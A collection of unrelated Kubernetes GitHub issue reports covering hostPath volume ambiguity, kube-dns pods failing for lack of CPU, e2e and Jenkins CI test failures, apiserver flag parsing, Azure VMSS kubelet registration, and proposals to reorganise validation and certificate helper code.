:\r - kubernetes version  use  kubectl version  : 1.10.x\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r it's difficult to read because the validation is checking every field individually.  it would be simpler if we just passed in an expected csinode object and compared it to what we get.\r \r also as a consequence, it's not able to test that we didn't modify existing/unrelated drivers.\r \r @kubernetes/sig-storage-misc \r 

i deleted /var/log/kube-scheduler.log, and restarted the kube-scheduler.  on a test cluster, of course!   when the container restarts, someone does a mkdir on /var/log/kube-scheduler.log.   that causes kube-scheduler to crash, because it tries logging to that directory as if it were a file .  i believe the problem is that the manifest syntax has no way to differentiate a file vs a directory when the source path does not exist.  i think we might need a \ type: file\  attribute in the hostpath spec to disambiguate.  the manifest from my cluster:      { \ apiversion\ : \ v1\ , \ kind\ : \ pod\ , \ metadata\ : {   \ name\ :\ kube-scheduler\ ,   \ namespace\ : \ kube-system\  }, \ spec\ :{ \ hostnetwork\ : true, \ containers\ :      {     \ name\ : \ kube-scheduler\ ,     \ image\ : \ gcr.io/google_containers/kube-scheduler:45c19e7118b9bd03d663736999cb42af\ ,     \ resources\ : {       \ limits\ : {         \ cpu\ : \ 100m\        }     },     \ command\ :                     \ /bin/sh\ ,                  \ -c\ ,                  \ /usr/local/bin/kube-scheduler --master=127.0.0.1:8080  --v=4 1>>/var/log/kube-scheduler.log 2>&1\                  ,     \ livenessprobe\ : {       \ httpget\ : {         \ host\ : \ 127.0.0.1\ ,         \ port\ : 10251,         \ path\ : \ /healthz\        },       \ initialdelayseconds\ : 15,       \ timeoutseconds\ : 15     },     \ volumemounts\ :           {            \ name\ : \ logfile\ ,           \ mountpath\ : \ /var/log/kube-scheduler.log\ ,           \ readonly\ : false         }             }  , \ volumes\ :    { \ name\ : \ logfile\ ,     \ hostpath\ : {         \ path\ : \ /var/log/kube-scheduler.log\ }   }   }}

at first,i installed kubernete1.0.1.after found it not allowed privilege container, i install a higher version 1.1.1. now i meet two problem.  1.when i build a example,i found service is up,but there is no pod running, describe it shows \ replicas:   0 current / 1 desired ;service pods status 0 running/ 0waiting /0 succeeded /0 failed“ 2.then i try to create a privilege container in a pod,it report the same error  \ spec.containers 0 .securitycontext.privileged: forbidden '< > 0xc209034dc0 true'\  what's wrong with my kubernetes? thanks a lot for help

disclaimer: i'm very new to the kubernetes project, even newer to go lang in general.   since kubernetes is using  glog  from  github.com/golang/glog , then supposedly passing  --v=0  should reduce the verbosity of the log produces by  apiserver ,  controller-manager , and  scheduler   i'm using hyperkube from quay.io on coreos .  is there a way to reduce the  info  level logging?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/31221/kubernetes-pull-build-test-e2e-gce/58097/  failed:  k8s.io  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1179 sep  9 11:16:46.777: failed to get server version: unable to get server version: get https://104.197.224.102/version: net/http: tls handshake timeout /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:412      happened on a presubmit run in  31221.  previous issues for this test:  26728  28266  30340

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-slow/9547/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for endpoint-service: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:167 oct  5 08:05:59.654: failed to find expected endpoints: tries 0 command curl -q -s 'http://10.180.2.23:8080/dial?request=hostname&protocol=http&host=104.198.148.52&port=31762&tries=1' retrieved map   expected map netserver-0:{} netserver-1:{} netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:188

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    why    i find  pkg/api/validation/validation.go   https://github.com/kubernetes/kubernetes/blob/master/pkg/api/validation/validation.go  keeps becoming more and more bigger. the reason is that all the validate functions for the core api resources are placed there.    what    i propose split the big file into some small ones and make a new  validation  directory under  pkg/api/{pod, service, endpoints, ...}/  just like what  pkg/apis/{apps, batch, policy,...}/validation  did.   pkg/api/validation/validation.go  still keep some general validation functions such as  validateobjectmeta    while  pkg/api/pod/validation/validation.go  will contain  validatepod   ,  validatepodspec    and so on.   in this way, make core api resources rest validate easy to maintain.

pod will be created again and again when we have not enough cpu and will not be delete.\r \r      version\r    \r  root@izbp14tmy66i2l0ln0vwrez ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r  root@izbp14tmy66i2l0ln0vwrez ~   kubeadm version\r kubeadm version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2074+a092d8e0f95f52\ , gitcommit:\ a092d8e0f95f5200f7ae2cba45c75ab42da36537\ , gittreestate:\ clean\ , builddate:\ 2016-12-13t17:03:18z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r  root@izbp14tmy66i2l0ln0vwrez ~   docker version\r client:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6.3\r  git commit:   6b644ec\r  built:\r  os/arch:      linux/amd64\r \r server:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6.3\r  git commit:   6b644ec\r  built:\r  os/arch:      linux/amd64\r  root@izbp14tmy66i2l0ln0vwrez ~   docker info\r containers: 16\r  running: 14\r  paused: 0\r  stopped: 2\r images: 16\r server version: 1.12.3\r storage driver: devicemapper\r  pool name: docker-253:1-405252-pool\r  pool blocksize: 65.54 kb\r  base device size: 10.74 gb\r  backing filesystem: xfs\r  data file: /dev/loop0\r  metadata file: /dev/loop1\r  data space used: 2.742 gb\r  data space total: 107.4 gb\r  data space available: 29.22 gb\r  metadata space used: 3.6 mb\r  metadata space total: 2.147 gb\r  metadata space available: 2.144 gb\r  thin pool minimum free space: 10.74 gb\r  udev sync supported: true\r  deferred removal enabled: false\r  deferred deletion enabled: false\r  deferred deleted device count: 0\r  data loop file: /var/lib/docker/devicemapper/devicemapper/data\r  warning: usage of loopback devices is strongly discouraged for production use. use  --storage-opt dm.thinpooldev  to specify a custom block storage device.\r  metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata\r  library version: 1.02.107-rhel7  2016-06-09 \r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local\r  network: bridge overlay host null\r swarm: inactive\r runtimes: runc\r default runtime: runc\r security options: seccomp\r kernel version: 3.10.0-327.22.2.el7.x86_64\r operating system: centos linux 7  core \r ostype: linux\r architecture: x86_64\r cpus: 1\r total memory: 3.703 gib\r name: izbp14tmy66i2l0ln0vwrez\r id: g3ce:gxii:n7fq:ca27:aizt:5mri:gd2m:t4wu:mvaq:e4vp:sfmx:5r6e\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r warning: bridge-nf-call-ip6tables is disabled\r insecure registries:\r  127.0.0.0/8\r    \r \r      see output\r \r    \r  root@izbp14tmy66i2l0ln0vwrez ~   kubectl --namespace=kube-system get po\r name                                              ready     status              restarts   age\r dummy-2340867639-qmggs                            1/1       running             0          55s\r etcd-izbp14tmy66i2l0ln0vwrez                      1/1       running             0          1m\r kube-apiserver-izbp14tmy66i2l0ln0vwrez            1/1       running             0          1m\r kube-controller-manager-izbp14tmy66i2l0ln0vwrez   1/1       running             0          1m\r kube-discovery-2798764060-4r96g                   1/1       running             0          52s\r kube-dns-3611717927-038mq                         0/4       outofcpu            0          21s\r kube-dns-3611717927-14vn6                         0/4       outofcpu            0          3s\r kube-dns-3611717927-18xhh                         0/4       outofcpu            0          27s\r kube-dns-3611717927-1th2f                         0/4       outofcpu            0          2s\r kube-dns-3611717927-21mvg                         0/4       outofcpu            0          28s\r kube-dns-3611717927-2c1ln                         0/4       outofcpu            0          23s\r kube-dns-3611717927-2m25g                         0/4       outofcpu            0          1s\r kube-dns-3611717927-302st                         0/4       outofcpu            0          27s\r kube-dns-3611717927-34fc2                         0/4       outofcpu            0          5s\r kube-dns-3611717927-3kl3k                         0/4       outofcpu            0          40s\r kube-dns-3611717927-3lvzk                         0/4       outofcpu            0          7s\r kube-dns-3611717927-4cpjq                         0/4       outofcpu            0          19s\r kube-dns-3611717927-501ms                         0/4       outofcpu            0          15s\r kube-dns-3611717927-59t74                         0/4       outofcpu            0          17s\r kube-dns-3611717927-5jcgc                         0/4       outofcpu            0          50s\r kube-dns-3611717927-5sl2p                         0/4       outofcpu            0          5s\r kube-dns-3611717927-66l75                         0/4       outofcpu            0          29s\r kube-dns-3611717927-697wm                         0/4       outofcpu            0          32s\r kube-dns-3611717927-6xxmd                         0/4       outofcpu            0          18s\r kube-dns-3611717927-7pw27                         0/4       outofcpu            0          25s\r kube-dns-3611717927-7xhvx                         0/4       outofcpu            0          41s\r kube-dns-3611717927-8nvc4                         0/4       outofcpu            0          36s\r kube-dns-3611717927-8p2t3                         0/4       outofcpu            0          26s\r kube-dns-3611717927-8wxwv                         0/4       outofcpu            0          50s\r kube-dns-3611717927-978x6                         0/4       outofcpu            0          11s\r kube-dns-3611717927-9f71g                         0/4       outofcpu            0          34s\r kube-dns-3611717927-9mr86                         0/4       outofcpu            0          21s\r kube-dns-3611717927-9mthz                         0/4       outofcpu            0          24s\r kube-dns-3611717927-bjwrz                         0/4       outofcpu            0          11s\r kube-dns-3611717927-bw062                         0/4       outofcpu            0          28s\r kube-dns-3611717927-c7038                         0/4       outofcpu            0          47s\r kube-dns-3611717927-cgwdk                         0/4       outofcpu            0          44s\r kube-dns-3611717927-dkdn9                         0/4       outofcpu            0          33s\r kube-dns-3611717927-dtg6n                         0/4       outofcpu            0          43s\r kube-dns-3611717927-dz7dd                         0/4       pending             0          0s\r kube-dns-3611717927-f33bg                         0/4       outofcpu            0          7s\r kube-dns-3611717927-f753b                         0/4       outofcpu            0          44s\r kube-dns-3611717927-ff2cs                         0/4       outofcpu            0          31s\r kube-dns-3611717927-fvbn9                         0/4       outofcpu            0          19s\r kube-dns-3611717927-j9323                         0/4       outofcpu            0          31s\r kube-dns-3611717927-j991n                         0/4       outofcpu            0          29s\r kube-dns-3611717927-jgzbp                         0/4       outofcpu            0          13s\r kube-dns-3611717927-l2g0t                         0/4       outofcpu            0          34s\r kube-dns-3611717927-l4t6t                         0/4       outofcpu            0          10s\r kube-dns-3611717927-lf63x                         0/4       outofcpu            0          8s\r kube-dns-3611717927-lhj3n                         0/4       outofcpu            0          6s\r kube-dns-3611717927-lw0rk                         0/4       outofcpu            0          25s\r kube-dns-3611717927-pbk96                         0/4       outofcpu            0          38s\r kube-dns-3611717927-pj8d7                         0/4       outofcpu            0          42s\r kube-dns-3611717927-pmmmt                         0/4       outofcpu            0          35s\r kube-dns-3611717927-pvxvw                         0/4       outofcpu            0          9s\r kube-dns-3611717927-pxm54                         0/4       outofcpu            0          16s\r kube-dns-3611717927-qhq5p                         0/4       outofcpu            0          30s\r kube-dns-3611717927-rwl3l                         0/4       outofcpu            0          12s\r kube-dns-3611717927-s1b8g                         0/4       outofcpu            0          33s\r kube-dns-3611717927-s7wmp                         0/4       outofcpu            0          20s\r kube-dns-3611717927-s9127                         0/4       outofcpu            0          50s\r kube-dns-3611717927-sffb4                         0/4       outofcpu            0          42s\r kube-dns-3611717927-sfsg5                         0/4       outofcpu            0          18s\r kube-dns-3611717927-sqwfw                         0/4       outofcpu            0          10s\r kube-dns-3611717927-stk1f                         0/4       outofcpu            0          14s\r kube-dns-3611717927-t1fdw                         0/4       outofcpu            0          45s\r kube-dns-3611717927-tcg2r                         0/4       outofcpu            0          37s\r kube-dns-3611717927-tf7w9                         0/4       outofcpu            0          39s\r kube-dns-3611717927-tk2zf                         0/4       outofcpu            0          22s\r kube-dns-3611717927-tkxjl                         0/4       outofcpu            0          39s\r kube-dns-3611717927-v4c5w                         0/4       outofcpu            0          17s\r kube-dns-3611717927-vhft0                         0/4       outofcpu            0          49s\r kube-dns-3611717927-wdgrd                         0/4       outofcpu            0          9s\r kube-dns-3611717927-x6hqb                         0/4       outofcpu            0          36s\r kube-dns-3611717927-xgnm3                         0/4       outofcpu            0          49s\r kube-dns-3611717927-xmh0l                         0/4       outofcpu            0          15s\r kube-dns-3611717927-xmp5c                         0/4       outofcpu            0          4s\r kube-dns-3611717927-xrlvb                         0/4       outofcpu            0          23s\r kube-proxy-q8xf9                                  1/1       running             0          50s\r kubernetes-dashboard-3761021483-6xl56             0/1       containercreating   0          49s\r

currently it appears that you have to cargo-cult in your own set of the binaries under  cmd/lib/go2idl .  it would be much more convenient if these binaries were generic and consumable via  go get  in other projects.  it doesn't appear that this should be especially hard to do; looks like a couple things need to be rippled out into cli options like names of packages and path to boilerplate header file.\r \r i think i  or someone else from sig service-catalog  can probably tackle this; creating this issue so:\r \r 1.  it doesn't get lost\r 2.  someone from @kubernetes/sig-api-machinery-misc can tell us if there's a better way

ref:  42407\r \r the feature relies on docker client being present and will error out if it's not the case. the feature should really be disabled if runtime is not docker.\r \r /cc @kubernetes/sig-node-bugs

calledprocesserror with no output:\r \r    \r w0428 10:59:04.757  error:  gcloud.compute.copy-files   /usr/bin/scp  exited with return code  1 .\r w0428 10:59:04.758  see https://cloud.google.com/compute/docs/troubleshooting ssherrors for troubleshooting hints.\r i0428 10:59:04.858  dumping node logs to /workspace/_artifacts\r i0428 10:59:08.351  changing logfiles to be world-readable for download\r i0428 10:59:08.428  changing logfiles to be world-readable for download\r i0428 10:59:08.551  changing logfiles to be world-readable for download\r i0428 10:59:08.724  changing logfiles to be world-readable for download\r ... skipping 13 lines ...\r w0428 10:59:12.271  scp: /var/log/fluentd.log : no such file or directory\r w0428 10:59:12.271  scp: /var/log/node-problem-detector.log : no such file or directory\r w0428 10:59:12.276  scp: /var/log/supervisor/kubelet-stdout.log : no such file or directory\r w0428 10:59:12.276  scp: /var/log/supervisor/kubelet-stderr.log : no such file or directory\r w0428 10:59:12.276  scp: /var/log/supervisor/docker-stdout.log : no such file or directory\r w0428 10:59:12.276  scp: /var/log/supervisor/docker-stderr.log : no such file or directory\r w0428 10:59:12.279  error:  gcloud.compute.copy-files   /usr/bin/scp  exited with return code  1 .\r w0428 10:59:12.279  see https://cloud.google.com/compute/docs/troubleshooting ssherrors for troubleshooting hints.\r w0428 10:59:12.328  2017/04/28 10:59:12 util.go:131: step './cluster/log-dump.sh /workspace/_artifacts' finished in 23.155910025s\r w0428 10:59:12.329  2017/04/28 10:59:12 util.go:129: running: ./hack/e2e-internal/e2e-down.sh\r w0428 10:59:12.364  project: k8s-jkns-pr-gce-etcd3\r w0428 10:59:12.364  zone: us-central1-f\r i0428 10:59:12.465  shutting down test cluster in background.\r ... skipping 25 lines ...\r i0428 11:04:29.125  property \ users.k8s-jkns-pr-gce-etcd3_e2e-gce-agent-pr-72-0-basic-auth\  unset.\r i0428 11:04:29.290  property \ contexts.k8s-jkns-pr-gce-etcd3_e2e-gce-agent-pr-72-0\  unset.\r i0428 11:04:29.292  cleared config for k8s-jkns-pr-gce-etcd3_e2e-gce-agent-pr-72-0 from /workspace/.kube/config\r i0428 11:04:29.292  done\r w0428 11:04:29.393  2017/04/28 11:04:29 util.go:131: step './hack/e2e-internal/e2e-down.sh' finished in 5m16.965614636s\r w0428 11:04:29.393  2017/04/28 11:04:29 main.go:159: saved xml output to /workspace/_artifacts/junit_runner.xml.\r w0428 11:04:29.393  2017/04/28 11:04:29 main.go:193: something went wrong: starting e2e cluster: error during ./hack/e2e-internal/e2e-up.sh: exit status 1\r w0428 11:04:29.393  + /workspace/e2e-runner.sh:1 : main  : chmod -r o+r /workspace/_artifacts\r i0428 11:04:30.242  starting pull-kubernetes-e2e-gce-etcd3-27780...\r w0428 11:04:30.321  traceback  most recent call last :\r w0428 11:04:30.321    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 453, in <module>\r w0428 11:04:30.322      main create_parser  .parse_args   \r w0428 11:04:30.322    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 383, in main\r ... skipping 2 lines ...\r w0428 11:04:30.322      check  cmd \r w0428 11:04:30.322    file \ /var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 40, in check\r w0428 11:04:30.322      subprocess.check_call cmd \r w0428 11:04:30.322    file \ /usr/lib/python2.7/subprocess.py\ , line 540, in check_call\r w0428 11:04:30.322      raise calledprocesserror retcode, cmd \r w0428 11:04:30.323  subprocess.calledprocesserror: command ' 'docker', 'run', '--rm', '--name=pull-kubernetes-e2e-gce-etcd3-27780', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/go/src/k8s.io/kubernetes/_artifacts:/workspace/_artifacts', '-v', '/etc/localtime:/etc/localtime:ro', '-v', '/var/run/docker.sock:/var/run/docker.sock', '-e', 'home=/workspace', '-e', 'workspace=/workspace', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/./test-infra/jenkins/../scenarios/../platforms/gce.env', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/./test-infra/jenkins/../scenarios/../jobs/pull-kubernetes-e2e.env', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/./test-infra/jenkins/../scenarios/../jobs/pull-kubernetes-e2e-gce-etcd3.env', '-v', '/home/jenkins/.ssh/google_compute_engine:/workspace/.ssh/google_compute_engine:ro', '-v', '/home/jenkins/.ssh/google_compute_engine.pub:/workspace/.ssh/google_compute_engine.pub:ro', '-e', 'jenkins_gce_ssh_private_key_file=/workspace/.ssh/google_compute_engine', '-e', 'jenkins_gce_ssh_public_key_file=/workspace/.ssh/google_compute_engine.pub', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3@tmp/secretfiles/bf94a5da-9a72-4d69-a490-db7a50257cdc/kubernetes-jenkins-pull-c67f9519f993.json:/service-account.json:ro', '-e', 'google_application_credentials=/service-account.json', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/go/src/k8s.io/kubernetes:/go/src/k8s.io/kubernetes', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/go/src/k8s.io/release:/go/src/k8s.io/release', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/go/src/k8s.io/release:/go/src/k8s.io/release', '-e', 'jenkins_home=/var/lib/jenkins', '-e', 'build_cause=manualtrigger', '-e', 'pull_base_ref=master', '-e', 'hudson_url=http://goto.google.com/prkubekins/', '-e', 'build_url=http://goto.google.com/prkubekins/job/pull-kubernetes-e2e-gce-etcd3/27780/', '-e', 'bootstrap_migration=yes', '-e', 'cloudsdk_config=/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3/go/src/k8s.io/kubernetes/.config/gcloud', '-e', 'build_tag=jenkins-pull-kubernetes-e2e-gce-etcd3-27780', '-e', 'hudson_server_cookie=32617aabcc4952a0', '-e', 'jenkins_url=http://goto.google.com/prkubekins/', '-e', 'logname=jenkins', '-e', 'user=jenkins', '-e', 'job_name=pull-kubernetes-e2e-gce-etcd3', '-e', 'lang=en_us.utf-8', '-e', 'shell=/bin/bash', '-e', 'buildid=423faecb-2c36-11e7-95a3-0a580a6c00c3', '-e', 'hudson_home=/var/lib/jenkins', '-e', 'node_labels=agent-pr-72 pull', '-e', 'job_url=http://goto.google.com/prkubekins/job/pull-kubernetes-e2e-gce-etcd3/', '-e', 'root_build_cause_manualtrigger=true', '-e', 'build_cause_manualtrigger=true', '-e', 'jenkins_aws_credentials_file=/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3@tmp/secretfiles/936b62f1-4bfc-480c-b800-674be1a87e67/kubernetespresubmittests.txt', '-e', 'root_build_cause=manualtrigger', '-e', 'ssh_client=10.240.0.2 44178 22', '-e', 'build_id=27780', '-e', 'build_number=27780', '-e', 'hudson_cookie=75e6a1a2-8842-475e-aed0-abfaf53f5e6c', '-e', 'jenkins_aws_ssh_private_key_file=/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3@tmp/secretfiles/3afea9ab-6d75-48d3-9d8c-9b41a5fc8b58/id_rsa.jenkins', '-e', 'jenkins_gce_ssh_private_key_file=/home/jenkins/.ssh/google_compute_engine', '-e', 'job_base_name=pull-kubernetes-e2e-gce-etcd3', '-e', 'nlspath=/usr/dt/lib/nls/msg/%l/%n.cat', '-e', 'jenkins_gce_ssh_public_key_file=/home/jenkins/.ssh/google_compute_engine.pub', '-e', '_=./test-infra/jenkins/bootstrap.py', '-e', 'jenkins_aws_ssh_public_key_file=/var/lib/jenkins/workspace/pull-kubernetes-e2e-gce-etcd3@tmp/secretfiles/f7ec79f2-5fba-4d56-a34b-31f69b94cf58/id_rsa.jenkins.pub', '-e', 'executor_number=0', '-e', 'node_name=agent-pr-72', '-e', 'pull_number=41583', '-e', 'shlvl=2', '-e', 'jenkins_server_cookie=32617aabcc4952a0', '-e', 'build_display_name= 27780', '-e', 'pull_refs=master:dbce213ea6ced9b93123a6d82833aca9197b59a5,41583:d22dd0fa357fabe8fc0b97a5216ee18190676fef', '-e', 'xfilesearchpath=/usr/dt/app-defaults/%l/dt', '-e', 'mail=/var/mail/jenkins', '-e', 'ssh_connection=10.240.0.2 44178 10.240.0.82 22', '-e', 'cloudsdk_component_manager_disable_update_check=true', '-e', 'cloudsdk_experimental_fast_component_update=false', '-e', 'e2e_up=true', '-e', 'e2e_test=true', '-e', 'e2e_down=true', '-e', 'e2e_name=e2e-gce-agent-pr-72-0', '-e', 'kube_aws_instance_prefix=e2e-gce-agent-pr-72-0', '-e', 'instance_prefix=e2e-gce-agent-pr-72-0', '-e', 'kube_gce_network=e2e-gce-agent-pr-72-0', '-e', 'kube_gce_instance_prefix=e2e-gce-agent-pr-72-0', '-e', 'cluster_name=e2e-gce-agent-pr-72-0', '-e', 'kube_gke_network=e2e-gce-agent-pr-72-0', 'gcr.io/k8s-testimages/kubekins-e2e:v20170421-c719a74d', '--build', '--stage=gs://kubernetes-release-pull/ci/pull-kubernetes-e2e-gce-etcd3' ' returned non-zero exit status 1\r e0428 11:04:30.324  build failed\r i0428 11:04:30.324  process 12992 exited with code 1 after 46.8m\r e0428 11:04:30.324  fail: pull-kubernetes-e2e-gce-etcd3\r    \r \r full log: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41583/pull-kubernetes-e2e-gce-etcd3/27780/?log log\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41583/pull-kubernetes-e2e-gce-etcd3/27780/

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r baseimage for resource-consumer was ubuntu before and there is a ask for migrating to debian via - https://github.com/kubernetes/kubernetes/pull/44910/files r125150263\r   what you expected to happen  :\r use debian-base as baseimage for resource-consumer test image\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

test cases: \r -     egress blocking based on cidr to a set of pods\r -     egress blocking based on namespace to a set of pods\r -     egress blocking based on a set of pods to another set of  pods

i have a zsh function called  kc  which runs  kubectl  for me.  i cannot figure out how to repurpose the zsh tab completion to work with it though.  the best i could come up with  using  complete -o default -o nospace -f __start_kubectl kc  , it refuses to complete unless the exact word  kubectl  is present.\r \r    \r % kc <c-d>\r kubectl\r % kc kubectl get n<tab>\r % kc kubectl get namespace\r namespace      networkpolicy  node\r    \r \r if there is some trick that fixes this, that's fine.  otherwise maybe we should just emit a zsh completion function in a zsh-native way.\r \r 

there are still many node e2e tests are docker specific:\r   garbage collector test: https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/garbage_collector_test.go\r   restart test: https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/restart_test.go\r   ...\r \r we try to use cri in those tests. and if a test really requires docker, we should skip if container runtime is not docker, and add   feature:docker   label.\r \r @kubernetes/sig-node-bugs

is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r the help for  kube-apiserver  states the following:\r    \r       --advertise-address ip                                    the ip address on which to advertise the apiserver to members of the cluster. this address must be reachable by the rest of the cluster. if blank, the --bind-address will be used. if --bind-address is unspecified, the host's default interface will be used.\r       --bind-address ip                                         the ip address on which to listen for the --secure-port port. the associated interface s  must be reachable by the rest of the cluster, and by cli/web clients. if blank, all interfaces will be used  0.0.0.0 .  default 0.0.0.0 \r    \r but that doesen't seems to be the case.\r setting either  --advertise-address  or  --bind-address  blank, yields the following error:\r \r    \r root@84e925557f65:/  kube-apiserver --bind-address=\ \  |& head -n 2\r error: invalid argument \ \  for --bind-address=: failed to parse ip: \ \ \r \r root@84e925557f65:/  kube-apiserver --advertise-address=\ \  |& head -n 2\r error: invalid argument \ \  for --advertise-address=: failed to parse ip: \ \ \r    \r \r   what you expected to happen  :\r \r  kube-apiserver  should start as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try starting  kube-apiserver  with either  --advertise-address  or  --bind-address  blank.\r \r   anything else we need to know?  :\r \r i stumbled on this behaviour, when trying to add the required change for supporting ccm  cloud controller manager  in bootkube  https://github.com/kubernetes-incubator/bootkube/pull/804, https://github.com/kubernetes-incubator/bootkube/pull/803 . bootkube use  status.podip  as the  --advertise-address  for the bootstrap-apiserver and the real apiserver, but when starting  kubelet  with  --cloud-provider=external   status.podip  is empty, and so  kube-apiserver  is started with  --advertise-address=  which the help page says is supported.\r \r this should be fixed so we can start a self-hosted k8s cluster with a external ccm, without ending up in a chicken-egg situation.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when instancemetadata is for kubelet on master nodes , kubelet is not able to register itself with errors:\r \r    sh\r unable to construct v1.node object for kubelet: failed to get external id from cloud provider: not a vmss instance\r    \r \r   what you expected to happen  :\r \r kubelet registers itself successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deploy a vmss cluster with vmas master and vmss nodes, set instancemetadata on for master's kubelet.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r the libraries with helper funcs in client-go and kubeadm are very dis-organized and have a lot of overlap. there's also many very specialized funcs that are not reusable.\r \r list of current libraries:\r - https://godoc.org/k8s.io/client-go/util/cert\r - https://godoc.org/k8s.io/client-go/util/cert/triple\r - https://godoc.org/k8s.io/client-go/util/certificate\r - https://godoc.org/k8s.io/client-go/util/certificate/csr\r - https://godoc.org/k8s.io/kubernetes/pkg/kubelet/certificate/bootstrap\r - https://godoc.org/k8s.io/kubernetes/cmd/kubeadm/app/util/pkiutil\r \r propose the following organization:\r - k8s.io/client-go/util/x509util - certificate helpers used by k8s clients\r - k8s.io/client-go/util/keyutil - key pair  helpers used by k8s clients\r - k8s.io/kubernetes/pkg/util/x509util - internal-only certificate and csr helpers used by control plane and native tools\r - k8s.io/kubernetes/pkg/util/keyutil - internal-only key pair  helpers used by control plane and native tools\r - kubeadm and kubelet  like csr.requestnodecertificate  specialized code will live under their respective source trees\r \r 